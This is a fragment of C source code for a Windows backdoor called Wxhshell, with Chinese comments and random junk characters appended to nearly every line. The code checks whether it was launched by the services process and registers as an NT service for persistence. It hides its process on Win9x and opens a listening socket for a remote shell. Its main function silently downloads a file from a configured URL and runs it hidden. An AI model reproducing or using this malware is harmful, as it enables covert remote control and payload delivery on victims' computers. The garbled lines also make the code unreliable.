DWORD AffinityMask; UmK X*T9
DWORD BasePriority; .+K
S`
ULONG UniqueProcessId; w>~M}Ahj
ULONG InheritedFromUniqueProcessId; 8)0L2KL'
} PROCESS_BASIC_INFORMATION; EA{U!b]cU
v+1i=s2$
PROCNTQSIP NtQueryInformationProcess; %3Bpn=k>
RHNk%9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #%S0PL"x U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $;D*
n'8Fx
;8B.;%qkL
HANDLE hProcess; CHaE;olo
PROCESS_BASIC_INFORMATION pbi; 3 EYiQ`
yi!`V.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); keqcV23k
if(NULL == hInst ) return 0; >[*4Tjg
%(LvE}[RJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ygkv7>?,
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o7xgRSz\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b7h+?!H]R
)fh0&Y; R
if (!NtQueryInformationProcess) return 0; et$uP
qSiWnN8D
t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H}b\`N[nr
if(!hProcess) return 0; cBEHH4U
t;#Gmo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zX5G;,_
|pWaBh|r
CloseHandle(hProcess); YL5>V$i
y@apJ;_R-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v:d9o.h
if(hProcess==NULL) return 0; Q~
0Dfow?
68x}w
Ae
HMODULE hMod; MTmO>V&O
char procName[255]; L0&S0HG
unsigned long cbNeeded; ^,7=X8Su
*_)E6Y?9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i7eI=f-Q
W(&6
CloseHandle(hProcess); 9qH[o?]
aR:<<IF\
if(strstr(procName,"services")) return 1; // 以服务启动 LV.&>@*
[b`6v`x
return 0; // 注册表启动 k:P$LzIB
} %2yAvGa1
]*ov&{'
// 主模块 elbG\qXBp
int StartWxhshell(LPSTR lpCmdLine) d=e{]MG(
{ .C5@QKU
SOCKET wsl; T"W9YpZ
BOOL val=TRUE; %ejeyc
int port=0; 3Xdn62[&
struct sockaddr_in door; R [9w
ex phe+b
if(wscfg.ws_autoins) Install(); 6q%ed
UED
}aZrou3E
port=atoi(lpCmdLine); sb'p-Mj
aIu2>
if(port<=0) port=wscfg.ws_port; my,x9UPs
j-* TXog
WSADATA data; c$#GM57V
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .3g&9WvN!Z
2X_ >vIlEm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5<N~3
1z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +k
rFB?>`
door.sin_family = AF_INET; l10-XU02
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *g$agyOfh
door.sin_port = htons(port); X')S;KW
[.U^Wrd
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SOI)/u
closesocket(wsl); 46dc.Yi
return 1; dzxI QlP
} r{V.jZ%p'Z
h[H%:743
if(listen(wsl,2) == INVALID_SOCKET) { Ej|A
; &E
closesocket(wsl); m0Z7N5v)
return 1; 1NGyaI
} ~'[jBn)
Wxhshell(wsl); 3M$X:$b
WSACleanup(); X2P``YFV{
T?e9eYwS
return 0; k5s ?lWH
Nu+wL>t
} qT0_L
>
Z++^YVE
// 以NT服务方式启动 08io<c,L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *+~D+_,
{ X X&K=<,Ja
DWORD status = 0; m >hovikY*
DWORD specificError = 0xfffffff; R.UumBM
k.{G&]r{
serviceStatus.dwServiceType = SERVICE_WIN32; M8Juykw
serviceStatus.dwCurrentState = SERVICE_START_PENDING; gA:[3J,[;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CK Mv7
serviceStatus.dwWin32ExitCode = 0; 8GW ut=D
serviceStatus.dwServiceSpecificExitCode = 0; SW=aHM
serviceStatus.dwCheckPoint = 0; *2#FRA#q
serviceStatus.dwWaitHint = 0; P#F_>GB
q]+)c2M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i;avwP<0
if (hServiceStatusHandle==0) return; <O
bH f`Q
M1gP
R
status = GetLastError(); r8+*|$K
if (status!=NO_ERROR) kDg{>mf
{ wXcMt>3
serviceStatus.dwCurrentState = SERVICE_STOPPED; :o<N!*pT
serviceStatus.dwCheckPoint = 0; H8<m9zDvl
serviceStatus.dwWaitHint = 0; !?n50
serviceStatus.dwWin32ExitCode = status; 1)gv%_
serviceStatus.dwServiceSpecificExitCode = specificError; +/}_%Cf8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7p
!zp 9|
return; H-m`Dh5{
} &]*|6cR$E
aa!a&L|!
serviceStatus.dwCurrentState = SERVICE_RUNNING; }JH`'&3
serviceStatus.dwCheckPoint = 0; *XOS. $zGz
serviceStatus.dwWaitHint = 0; B%y! aQep
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); excrXx
} -g<cinNSp
tnNZ`]qY
// 处理NT服务事件,比如:启动、停止 Lv^a+'
VOID WINAPI NTServiceHandler(DWORD fdwControl) v2(U(Tt
{ fX""xTNPi
switch(fdwControl) w2@"PGR
{ o6:45
case SERVICE_CONTROL_STOP: +&?'KZ+Z_v
serviceStatus.dwWin32ExitCode = 0; l&$*}yCK
serviceStatus.dwCurrentState = SERVICE_STOPPED; H}(=?}+
serviceStatus.dwCheckPoint = 0; <
)Alb\Z
serviceStatus.dwWaitHint = 0; (Q\\Gw
{ at=D&oy4"+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?U$}Rsk{#
} <gR`)YF7
return; 8 `o{b"l+
case SERVICE_CONTROL_PAUSE: C*$|#.l
serviceStatus.dwCurrentState = SERVICE_PAUSED; s7vPI
break; q?1yE@th
case SERVICE_CONTROL_CONTINUE: :"y0oCu7`W
serviceStatus.dwCurrentState = SERVICE_RUNNING; OM1*Iy
break; Sr-|,\/O
case SERVICE_CONTROL_INTERROGATE: (
-xR7A
break; 17|@f
}; )< l\jfx e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); df!+T0
} FSFFk~
Bmmb
// 标准应用程序主函数 |z ]aa
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |}%(6<
{ v?FhG
b~1
Euqjxz
// 获取操作系统版本 i+U@\:=
OsIsNt=GetOsVer(); yW[L,N7d
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jm%mm SYK
ofVEao
// 从命令行安装 8g-P_[>
if(strpbrk(lpCmdLine,"iI")) Install(); dG"K/|
NYGmLbq
// 下载执行文件 uSH>$;a
if(wscfg.ws_downexe) { R&]c"cO L8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5FZ47m ~{Z
WinExec(wscfg.ws_filenam,SW_HIDE); i1tVdbC]
} bx;yHIRb
?VUgwP_=
if(!OsIsNt) { ,9F*96
// 如果时win9x,隐藏进程并且设置为注册表启动 c{^i$
HideProc(); }7-7t{G
StartWxhshell(lpCmdLine); `Fz\wPd
} &3jBE--
else Lf[G>0t&n
if(StartFromService()) !-F ^VGD(8
// 以服务方式启动 7 kEx48
StartServiceCtrlDispatcher(DispatchTable); Oi6f8*,
else 2%`^(\y
// 普通方式启动 @< wYT$
StartWxhshell(lpCmdLine); |)m*EME
#,7eQaica
return 0; Fecx';_1`
}